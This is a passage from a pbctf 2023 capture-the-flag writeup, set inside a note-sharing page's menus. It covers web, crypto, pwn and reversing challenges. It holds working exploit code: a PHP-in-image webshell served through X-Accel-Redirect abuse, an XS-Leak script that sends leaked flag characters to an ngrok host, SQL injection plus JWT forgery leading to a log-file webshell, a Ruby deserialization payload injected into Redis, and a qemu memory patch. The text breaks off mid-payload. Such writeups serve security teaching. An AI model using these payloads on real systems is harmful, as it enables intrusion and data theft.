SuperFashi
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # pbctf 2023 Writeup [TOC] ## Web ### Makima app.py: ```python from flask import * import base64 app = Flask(__name__) @app.route('/pwn.png') def pwn(): print(request.args.get('r')) resp = make_response("pew", 200) resp.headers.set("X-Accel-Redirect","/uploads/"+request.args.get('r')+"/h.php") resp.headers.set("Content-Type","image/png") return resp @app.route('/upload.png') def u(): shell = open("phppng.png","rb").read() resp = make_response(shell, 200) resp.headers.set("Content-Type","image/png") return resp app.run("0.0.0.0",3333) ``` solve.py: ```python import requests import base64 import os url = "http://makima.chal.perfect.blue/" fakeImg = 'https://81f0-101-179-77-30.ngrok.io/upload.png' triggerImg = 'https://81f0-101-179-77-30.ngrok.io/pwn.png%3Fr={}' data = {"url": fakeImg} r = requests.post(url,data=data) u = r.text.split('Message: ')[1].split('</p>')[0] data = {"url": triggerImg.format(u.split('/')[1])} r = requests.post(url,data=data) #print(r.text) r = requests.get(url+"uploads/pewpewpewhacked.png") print(r.text) ``` First, we make the server download our image(`upload.png`) that contains our PHP code, then we use the `X-Accel-Redirect` header to make the proxy try to visit `/upload/<image id to upload.png>/h.php` internally. Finally, the fastcgi will execute our payload inside that image, and we can get the output we generate in `uploads/pewpewpewhacked.png`. ### XSPS When location.hash updates, the app will decode the hash and search the note. If param `open` is true and note is found, the link will be clicked thus redirect to the note page. We can redirect the page back to our origin and use `history.length` as a oracle to see if redirection occurs. ``` html <html> <img src="/delay"> <script> let baseUrl = 'http://xsps.chal.perfect.blue/' const sleep = ms => new Promise(r => setTimeout(r, ms)) function send(d){ fetch('http://a.ngrok.io?q=' + d) } async function leak(str) { let win = window.open(baseUrl) await sleep(200) win.location = baseUrl + '#' + btoa(JSON.stringify({open: true, query: str})) await sleep(200) win.location = 'about:blank' await sleep(100) send(str + ',' + win.history.length) win.close() return win.history.length } async function main() { let flag = 'pbctf{' await leak(flag) let charset = '}_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' while(true) { for(let i=0; i<charset.length; i++) { let c = charset[i] let result = await leak(flag+c) if (result === 4) { flag += c send('found:'+flag) break } } } } main() </script> </html> ``` ### The Mindful Zone There is a path traversal vulnerability at `view` query string and blind sql injection at `skins/classic/views/report_event_audit`: ``` py import requests url = "http://localhost:8080/zm/index.php?view=..././..././skins/classic/views/report_event_audit" sqlI = f""" UNION SELECT 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1#""" data = { "action": "login", "minTime": "pew\\", "maxTime": sqlI } r =requests.post(url,data=data) print(r.text) ``` By exploiting the sql injection, we can get `ZM_AUTH_HASH_SECRET` then craft a valid admin jwt token. After becoming the admin, we can write our web shell into debug log and get RCE: ``` py import requests import jwt, uuid key = "8kjQJQg7GB4vfu8yFE7WjzWfhHYMXYC3" token = jwt.encode({"user": "admin", "iat":"1676782671", "type": "access"}, key, algorithm="HS256") url = f"http://localhost:8080/zm/index.php?token={token}" shellName = f"/tmp/{str(uuid.uuid4())}.php" triggerURL = "http://localhost:8080/zm/index.php?view=..././..././..././..././..././..././..././.../."+shellName.replace('.php','') s=requests.Session() r = s.post(url,data={"view":'pew',"action":'fake'}) csrf = r.text.split('value="')[1].split('"')[0] data = f"__csrf_magic={csrf}&view=options&tab=logging&action=options&newConfig[ZM_LOG_LEVEL_SYSLOG]=-1&newConfig[ZM_LOG_LEVEL_FILE]=1&newConfig[ZM_LOG_LEVEL_WEBLOG]=-5&newConfig[ZM_LOG_LEVEL_DATABASE]=0&newConfig[ZM_LOG_DATABASE_LIMIT]=7 day&newConfig[ZM_LOG_FFMPEG]=1&newConfig[ZM_LOG_DEBUG]=1&newConfig[ZM_LOG_DEBUG_TARGET]=&newConfig[ZM_LOG_DEBUG_LEVEL]=1&newConfig[ZM_LOG_DEBUG_FILE]={shellName}&newConfig[ZM_LOG_CHECK_PERIOD]=900&newConfig[ZM_LOG_ALERT_WAR_COUNT]=1&newConfig[ZM_LOG_ALERT_ERR_COUNT]=1&newConfig[ZM_LOG_ALERT_FAT_COUNT]=0&newConfig[ZM_LOG_ALARM_WAR_COUNT]=100&newConfig[ZM_LOG_ALARM_ERR_COUNT]=10&newConfig[ZM_LOG_ALARM_FAT_COUNT]=1&newConfig[ZM_RECORD_EVENT_STATS]=1" r = s.post(url,data=data,headers={"Content-Type":"application/x-www-form-urlencoded"}) s.post(url+"&view=<?=`whoami`; ?>") print(s.post(triggerURL,data={"action":"login"},allow_redirects=False).text) ``` ### git-ls-api The challenge presents a weird looking Ruby on Rails application, with the only feature being "call GitHub API with custom API endpoint, cache the result in Redis and return as JSON". We took a look at the Octokit (the GitHub client) and found that it uses a fair amount of Ruby magic (via Sewyer), but we didn't see immediate consequence given that the response object just goes through `.sha` and `.tree.map`. The Redis does seem suspicious, we checked that and confirmed that it holds a Rails session, marshalled with Ruby's builtin marshal module. There are plenty of posts and writeups on the Internet telling us that if we take it over we can execute arbitrary code upon deserialization. But Ruby's Net::Http and especially Faraday is hardened against cross-protocol SSRF and we didn't find anything useful. After a while we noticed a H1 report: https://hackerone.com/reports/1672388, which describes that passing the `Sawyer::Response` to the Ruby Redis client is exploitable due to the above mentioned magic. This is exactly what we have here. We then basically copied that report. The Redis client library does a few additional things compared to the PoC in the H1 report so we need to wrap the payload in more `to_s` and `b` layers, and we have to plug in [a different gadget chain](https://devcraft.io/2022/04/04/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) due to different Ruby version. Final exploit: ```python= from flask import Flask, redirect, jsonify app = Flask(__name__) MARSHAL_PAYLOAD = bytes.fromhex("04085b08631547656d3a3a5370656346657463686572753a1747656d3a3a53706563696669636174696f6e023f0204085b1849220a332e332e37063a0645546909303049753a0954696d650d60601e6000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b066f3a2647656d3a3a5265736f6c7665723a3a496e64657853706563696669636174696f6e073a0a406e616d654922096e616d65063b00543a0c40736f757263656f3a1047656d3a3a536f75726365073a09407572696f3a0e5552493a3a485454500b3a0a40706174684922062f063b00543a0c40736368656d654922077333063b00543a0a40686f73744922166f2e726961742e72652f6e79612e727a3f063b00543a0a40706f72744922762f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f063b00543a0a407573657249220975736572063b00543a0e4070617373776f726449220d70617373776f7264063b00543a12407570646174655f6361636865543a1240646570656e64656e636965735b005b007b00753b0002a90204085b1849220a332e332e37063a0645546909303049753a0954696d650d60601e6000000000063a097a6f6e65492208555443063b004630553a1547656d3a3a526571756972656d656e745b065b065b074922073e3d063b0054553a1147656d3a3a56657273696f6e5b0649220630063b0046553b085b065b06400c305b00492200063b0054305b003030546f3a1e47656d3a3a526571756573745365743a3a4c6f636b66696c65073a09407365746f3a1447656d3a3a52657175657374536574063a0c40736f727465645b076f3a2547656d3a3a5265736f6c7665723a3a5370656353706563696669636174696f6e063a0a40737065636f3a2447656d3a3a5265736f6c7665723a3a47697453706563696669636174696f6e073a0c40736f757263656f3a1547656d3a3a536f757263653a3a4769740a3a0940676974492208746565063b00543a0f407265666572656e63657b063a07696e4922682f746d702f63616368652f62756e646c65722f6769742f6161612d653161316437373539396266323366656330386532363933663564643431386637376335363330312f717569636b2f4d61727368616c2e342e382f6e616d652d2e67656d73706563063b00543a0e40726f6f745f6469724922092f746d70063b00543a10407265706f7369746f727949220a76616b7a7a063b00543a0a406e616d65492208616161063b00543b0f6f3a2147656d3a3a5265736f6c7665723a3a53706563696669636174696f6e073b184922096e616d65063b00543a1240646570656e64656e636965735b006f3b0e063b0f6f3b10073b116f3b120a3b134922077368063b00543b147b003b164922092f746d70063b00543b1749220a76616b7a7a063b00543b18492208616161063b00543b0f6f3b19073b184922096e616d65063b00543b1a5b003b1a5b005b007b00") LUA_ESCAPED_MARSHAL_PAYLOAD = "".join((f"\\{x}" for x in MARSHAL_PAYLOAD)) SESSION_ID = "71edaac729c8662abe024fac84595eacd8ba7f8c516134024a57205bff6323e0" COMMANDS_TO_INJECT = [ # Use repr() for double escape: redis wants that. f"EVAL \"return redis.call('SET', '{SESSION_ID}', {repr(LUA_ESCAPED_MARSHAL_PAYLOAD)})\" 0", ] @app.route("/repos/a/b/git/trees/HEAD") def index(): return jsonify({ "tree": [], "sha": { "to_s": { "to_s": { "to_s": { "b": { "to_s": "1\r\n$2\r\nPX\r\n$1\r\n1\r\n" + "\r\n".join(COMMANDS_TO_INJECT), "bytesize": 1, }, }, }, }, }, }) app.run(host="0.0.0.0", port=2323, debug=True) ``` To exploit the service, first access `/`, get a session id, then trigger the Rails.cache against a `Sawyer::Response` returned by the above script to overwrite the session, then access the server again with the same session id. ## Crypto ### Blocky the challenge is a service that encrypts and decrypts a message, if the supply text is decrypted in 'gimmeflag' the server sends the flag. There is a check to verify that the text being encrypted is not exactly 'gimmeflag'. This check is wrong because inp is in bytes and "gimmeflag" is a str ```python if inp == 'gimmeflag': print("Result: None") continue ``` So we can encrypt 'gimmeflag' and get the correct decrypted text. ### My ECC Service The base point can be changed using the "verify" function. And there is no limit on the base point. So change the base point to generate a singular curve. There are two singular curves. $y^2=x^3-3x\pm2$. They require to use $\sqrt{\pm3}$ respectively. There is no $\sqrt3$ inside every $F_p$ given. But $\sqrt{-3}$ exists in some of them. The nonce has just $80$ bits. So one $F_p$ is enough. Use the base point $(6, 14)$ to generate $y^2=x^3-3x-2$. And use "discrete_log" in sage to solve the nonce. Finally, use nonce to predict the next output and get the flag. ### Blocky - 4 The cipher is very similar to AES. The only difference is that the cipher uses $F_3[x]$. But $\sum_{i=0}^{242}GF(i)$ is still $0(0+1+2\equiv0\pmod3)$. So square attack for AES with $4$ rounds is still useful here. For every tryte in the plaintext, I generate 243 plaintexts that differ only on this tryte. There are $9*243=2187$ plaintexts in total, but $9$ of them are the same. So these plaintexts can be encrypted in $9$ queries(limit of <$3^7$ tryte). All that remains is the attack itself. For every tryte in the last round key, enumerate and select the one that passes all $9$ tests. Use the round key to generate the original key. And decrypt the flag. ### My ECC Service 2 Now we need to get all $16$ nonces. We have to use field extension. But unfortunately, "discrete_log" is too slow on some $F_p(\sqrt{-3})$. So the base point is changed to $(2, 2)$. The singular curve is $y^2=x^3-3x+2$ now. And use "discrete_log" on $F_p(\sqrt{3})$. Luckily it's fast enough now. But in query we only get the value of $x$. There is $\frac{1}{2}$ probability to get the opposite number for every nonce. Luckily every nonce has still just $80$ bits. So if the result has more than $80$ bits, just subtract it from the order of the element corresponding to $(2,2)$. Solve all $16$ nonces and check them(their XOR sum is $0$). Predict the next output and get the flag. ### Blocky - 5 The cipher is the same. So just use square attack for AES with $5$ rounds here. Enumerate $3$ trytes in the last round key. There are $3$ trytes associated with them in round $4$ keys. So enumerate them individually and check if all $9$ tests are passed. But now the attack needs to enumerate $3+1=4$ trytes every time. And calculate with at least $243$ plaintexts. So the total amount of calculation has reached $3^{25}$ level. Python is too slow now. So I use Python code to generate tables for addition, multiplication and INV_SBOX on $F_3[x]$. Save the plaintexts and the flag in other files. And use C++ code to enumerate and select the round key. This code can be easily parallelized. It takes about $26$ minutes in total, $440$ minutes of CPU time. In the end, the only legal final round key is obtained. The original key is recovered. Decrypt the flag. ## Misc ### FlipJump 1 This is a two-player game using flipjump, a variant of esolang. First, player 1 enters the flipjump code and executes it. This random 4-bit is displayed after Player 1 executes. Next, player2 enters flipjump code and execute it. Player 2 must guess this random 4-bit value, or the program exits. You can get a flag if you guess 69 times in a row. The 4-bit random value is known before player 2's input, so we should just create that value. In fact, you don't need to enter any flipjump code, you can directly enter the value that player 2 should make if you specify a size greater than 256. You just read the value and set it. ```python= from pwn import * context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux', 'split-window', '-h'] TARGET = './flipjump' HOST = 'flipjump.chal.perfect.blue' PORT = 1337 elf = ELF(TARGET) def start(): if not args.R: print("local") return process(TARGET) else: print("remote") return remote(HOST, PORT) r = start() for _ in range(0x45): size = 0x200 r.sendafter(b'length:\n', p64(size)) payload = b'' payload = payload.ljust(size, b'a') r.sendafter(b'code:\n', payload) r.recvuntil(b'Flip[') leak1 = int(r.recv(1)) r.recvuntil(b'Bit ') leak2 = int(r.recv(1)) leak3 = int(r.recv(2)) retval = (leak1 << 3) | leak2 randval = 0 randval |= leak3 << leak2 print(f'retval: {retval:x}, randval: {randval:x}') r.sendafter(b'length:\n', p64(size)) payload = b'' payload += flat((0x8 << 3)|0, 0) payload += b'a'*232+p64(retval) payload = payload.ljust(size, b'b') r.sendafter(b'code:\n', payload) r.sendafter(b'Play again? (Y/N)\n', b'Y') r.interactive() r.close() ``` ## Reversing ### Move VM We are given a Move bytecode binary. Luckily, Move officially has a disassembler in [move-language/move](https://github.com/move-language/move). After disassembling the code, we see that it does the following things: 1. Check if the input is 58 bytes long, 2. Check if the input starts with `pbctf{` and ends with `}`, by compressing the first 6 elements in the input and the last element in the input into a u64, and compare that against the XOR result of two constant value, 3. Initialize a constant table, and then run some kind of VM based on this table. Further analyze the VM, we see that it's interpreting the table as instructions, where each u64 in the table is a fixed size instruction, with the top 32-bits being the opcode number, and the bottom 32-bit being the immediate value. By the way, the table is serialized as first a Uvarint, which is the number of elements in the table, and then elements in the table stored as little-endian numbers. The VM is a stack-based machine, and the code are executed with essentially a giant if-else table. The VM has support for 252 opcodes, it would be a pain to reverse all of them. Dumping the instructions and we see only 19 opcodes are being used, so we only need to reverse these codes. The table of reversed opcode: ``` 0: 'PUSH(0x%X)', 64: 'IF (POP() != 0) { PC = %d }', 57: 'SWAP TOP TWO STACK ELEMENTS', 48: 'DUP TOP STACK ELEMENT', 21: 'PUSH(POP2() >> (POP1() & 0xFF))', 19: 'PUSH(POP() & POP())', 17: 'PUSH(POP() ^ POP())', 16: 'PUSH(POP() + POP())', 22: 'PUSH(POP2() < POP1())', 58: 'SWAP SECOND AND THIRD STACK ELEMENTS', 66: 'IF (POP() != 0) { PC -= %d }', 56: 'POP()', 67: 'RET', 2: 'PUSH(FLAG[%d])', 68: 'CALL %d', 23: 'PUSH(POP() == POP())', 65: 'IF (POP() != 0) { PC += %d }', 255: 'HALT', 69: 'NOP', ``` And the disassembled VM code: ```c= PUSH(0x1) IF (POP() != 0) { PC = 30 } SWAP TOP TWO STACK ELEMENTS PUSH(0x0) SWAP TOP TWO STACK ELEMENTS DUP TOP STACK ELEMENT PUSH(0x1) PUSH(POP2() >> (POP1() & 0xFF)) SWAP TOP TWO STACK ELEMENTS PUSH(0x1) PUSH(POP() & POP()) PUSH(0xFFFFFFFF) PUSH(POP() ^ POP()) PUSH(0x1) PUSH(POP() + POP()) PUSH(0xFFF63B78) PUSH(POP() & POP()) PUSH(POP() ^ POP()) SWAP TOP TWO STACK ELEMENTS PUSH(0x1) PUSH(POP() + POP()) DUP TOP STACK ELEMENT PUSH(0x8) PUSH(POP2() < POP1()) SWAP SECOND AND THIRD STACK ELEMENTS IF (POP() != 0) { PC -= 20 } SWAP TOP TWO STACK ELEMENTS POP() SWAP TOP TWO STACK ELEMENTS RET PUSH(0x0) PUSH(FLAG[6]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[7]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[8]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[9]) PUSH(POP() ^ POP()) CALL 2 PUSH(0x83B118FA) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[10]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[11]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[12]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[13]) PUSH(POP() ^ POP()) CALL 2 PUSH(0xEF9C7B7F) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[14]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[15]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[16]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[17]) PUSH(POP() ^ POP()) CALL 2 PUSH(0x95B3879F) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[18]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[19]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[20]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[21]) PUSH(POP() ^ POP()) CALL 2 PUSH(0x31379B65) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[22]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[23]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[24]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[25]) PUSH(POP() ^ POP()) CALL 2 PUSH(0xA3CA53AB) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[26]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[27]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[28]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[29]) PUSH(POP() ^ POP()) CALL 2 PUSH(0x911791B9) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[30]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[31]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[32]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[33]) PUSH(POP() ^ POP()) CALL 2 PUSH(0xE9DA85A1) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[34]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[35]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[36]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[37]) PUSH(POP() ^ POP()) CALL 2 PUSH(0x5A0B762D) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[38]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[39]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[40]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[41]) PUSH(POP() ^ POP()) CALL 2 PUSH(0xDA0A6E01) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[42]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[43]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[44]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[45]) PUSH(POP() ^ POP()) CALL 2 PUSH(0x48278985) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[46]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[47]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[48]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[49]) PUSH(POP() ^ POP()) CALL 2 PUSH(0xAC6887BE) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[50]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[51]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[52]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[53]) PUSH(POP() ^ POP()) CALL 2 PUSH(0x26A5D1BC) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT PUSH(0x0) PUSH(FLAG[54]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[55]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[56]) PUSH(POP() ^ POP()) CALL 2 PUSH(FLAG[57]) PUSH(POP() ^ POP()) CALL 2 PUSH(0x973DB5EE) PUSH(POP() == POP()) IF (POP() != 0) { PC += 2 } HALT NOP ``` Essentially, input bytes are processed and checked in groups of four bytes, following the pattern of: `FUNC2(FUNC2(FUNC2(FUNC2(flag[i]) ^ flag[i+1]) ^ flag[i+2]) ^ flag[i+3]) == [constant]` So we only need to reverse what the function at index 2 does. Luckily we have z3: ```python= import z3 ''' 2: SWAP TOP TWO STACK ELEMENTS 3: PUSH(0x0) 4: SWAP TOP TWO STACK ELEMENTS 5: DUP TOP STACK ELEMENT 6: PUSH(0x1) 7: PUSH(POP2() >> (POP1() & 0xFF)) 8: SWAP TOP TWO STACK ELEMENTS 9: PUSH(0x1) 10: PUSH(POP() & POP()) 11: PUSH(0xFFFFFFFF) 12: PUSH(POP() ^ POP()) 13: PUSH(0x1) 14: PUSH(POP() + POP()) 15: PUSH(0xFFF63B78) 16: PUSH(POP() & POP()) 17: PUSH(POP() ^ POP()) 18: SWAP TOP TWO STACK ELEMENTS 19: PUSH(0x1) 20: PUSH(POP() + POP()) 21: DUP TOP STACK ELEMENT 22: PUSH(0x8) 23: PUSH(POP2() < POP1()) ?? 24: SWAP SECOND AND THIRD STACK ELEMENTS 25: IF (POP() != 0) { PC -= 20 } 26: SWAP TOP TWO STACK ELEMENTS 27: POP() 28: SWAP TOP TWO STACK ELEMENTS 29: RET ''' def cal(stack): stack.append(0) stack[-1], stack[-2] = stack[-2], stack[-1] while True: stack.append(stack[-1]) stack.append(1) pop1 = stack.pop() pop2 = stack.pop() stack.append(z3.LShR(pop2, pop1 & 0xFF)) stack[-1], stack[-2] = stack[-2], stack[-1] stack.append(1) stack.append(stack.pop() & stack.pop()) stack.append(0xFFFFFFFF) stack.append(stack.pop() ^ stack.pop()) stack.append(1) stack.append(stack.pop() + stack.pop()) stack.append(0xFFF63B78) stack.append(stack.pop() & stack.pop()) stack.append(stack.pop() ^ stack.pop()) stack[-1], stack[-2] = stack[-2], stack[-1] stack.append(1) stack.append(stack.pop() + stack.pop()) stack.append(stack[-1]) stack.append(8) pop1 = stack.pop() pop2 = stack.pop() stack.append(pop2 < pop1) stack[-2], stack[-3] = stack[-3], stack[-2] if not stack.pop(): break stack[-1], stack[-2] = stack[-2], stack[-1] stack.pop() flag = [z3.BitVec(f'flag_{_}', 8) for _ in range(4)] s = z3.Solver() sta = [0] for f in flag: sta.append(sta.pop() ^ z3.ZeroExt(64 - 8, f)) cal(sta) assert len(sta) == 1 for c in [0x83B118FA, 0xEF9C7B7F, 0x95B3879F, 0x31379B65, 0xA3CA53AB, 0x911791B9, 0xE9DA85A1, 0x5A0B762D, 0xDA0A6E01, 0x48278985, 0xAC6887BE, 0x26A5D1BC, 0x973DB5EE]: s = z3.Solver() s.add(sta[0] == c) assert s.check() == z3.sat m = s.model() print(''.join(chr(m[f].as_long()) for f in flag), end='') ``` ### Toxic #### 1. What The description said that the flag is in `/flag` file. So could we just fopen, fread and then get the flag? NO. Although you can get a valid FILE* with `fopen("/flag","rb")`, fread will read no data. And reading other files such as `/etc/passwd` is ok, so the qemu is modified to forbid reading `/flag`. To find out what happened, `strace` is a good tool. You will see the qemu open and fstat on `/flag` if you try to open any file. Therefore, we can guess this is a bad backdoor. Use IDA to search string `/flag`, the only result is the backdoor needed. It's at qemu's `do_openat` function, and it will open both `/flag` and target file you want to open, retrieve fstat info, compare their `st_ino` (file's inode number) and `st_dev`(ID of device containing file). If they are equal, then the backdoor will close target file's fd and of course you can not read the flag inside `/flag`. #### 2. How How to break the limitation? I tried some tricks such as create a symlink to bypass the limitation but all failed. Then I chose to modify qemu's memory. At first I modify the instruction that compares two files' inode, but this will cause some segment fault.😢 What else can we do? We can modify the `/flag` in qemu's memory, that used as file name to compare the file we want to open. Just modify it to `/etc`. At this time, if we open `/flag`, its `st_ino` and `st_dev` will be compared with `/etc` and then the backdoor will not close the fd of `/flag`. Finally, read flag. #### payload ```cpp= #include <string.h> #include <stdio.h> #include <fstream> #include <filesystem> #include <unistd.h> #include <sys/mman.h> #include <fcntl.h> #include <sys/uio.h> uint64_t target_addr = 0; constexpr char FILENAME[] = "/proc/self/mem"; constexpr char FLAG_FILENAME[] = "/flag"; uint64_t get_qemu_base(){ FILE * fp = fopen("/proc/../proc/./self/../self/./maps", "rb"); if(fp==0){ printf("File not found\n"); return 0; } char buffer[0x2000]{}; int size=0x2000; // read mem uint64_t base_addr=0, dummy; while(1){ auto line = fgets(buffer,0x1000,fp); if(line==0) break; if(strstr(line, "qemu-x86_64")){ printf("%s",line); sscanf(line, "%lx-%lx", &base_addr, &dummy); if(base_addr==0){ puts("Get qemu-base failed"); exit(0); } return base_addr; } } return 0; } int main(){ puts("--------------------BEGIN------------------"); setvbuf(stdout, NULL, _IONBF, 0); uint64_t qemu_base = get_qemu_base(); printf("qemu-base: %lx\n", qemu_base); target_addr=qemu_base+0x615135; size_t size=0; FILE * fp = fopen(FILENAME, "rb"); if(fp==0){ printf("/proc/self/mem open failed! \n"); return 0; } char buffer[0x2000]{}; size=0x2000; // read mem uint64_t pos = qemu_base + 0x615135; fseek(fp, pos,SEEK_SET); auto cnt = fread(buffer, 1, size, fp); if(cnt==0){ puts("Read qemu mem failed"); exit(0); } // dump the "/flag" memory printf("%lx: ", pos); for (int i=0;i<10;i++){ printf("%c", buffer[i]); } puts(""); if(memcmp(buffer,"/flag",5)) { puts("Wrong qemu binary"); exit(0); } auto pgsz=getpagesize(); printf("page size: 0x%x\n", pgsz); puts("found \"/flag\" in qemu mem!"); printf("To change prot: %lx\n", pos&(~(pgsz-1))); int r = 0; r = mprotect( (void*)( pos&(~(pgsz-1)) ), pgsz, PROT_READ|PROT_WRITE|PROT_EXEC); if(r!=0){ printf("mprotect failed\n"); exit(0); } printf("mprotect OK!\n"); puts("Writemem"); memcpy(((char*)qemu_base+0x615135),"/etc\x00",5); printf("now flag: %s\n",(char*)qemu_base+0x615135); puts("Writemem OK"); r=mprotect( (void*)( pos&(~(pgsz-1)) ),pgsz,PROT_READ|PROT_WRITE); if(r!=0){ puts("recovery prot failed!"); exit(0); } puts("recovery prot ok"); fflush(stdout); puts("---------------TO OPEN FLAG--------------"); fp = fopen(FLAG_FILENAME,"rb"); if(fp==0){ puts("open flag failed"); exit(0); } memset(buffer,0,sizeof(buffer)); std::uintmax_t flag_size = std::filesystem::file_size("/flag"); cnt = fread(buffer, 1, flag_size, 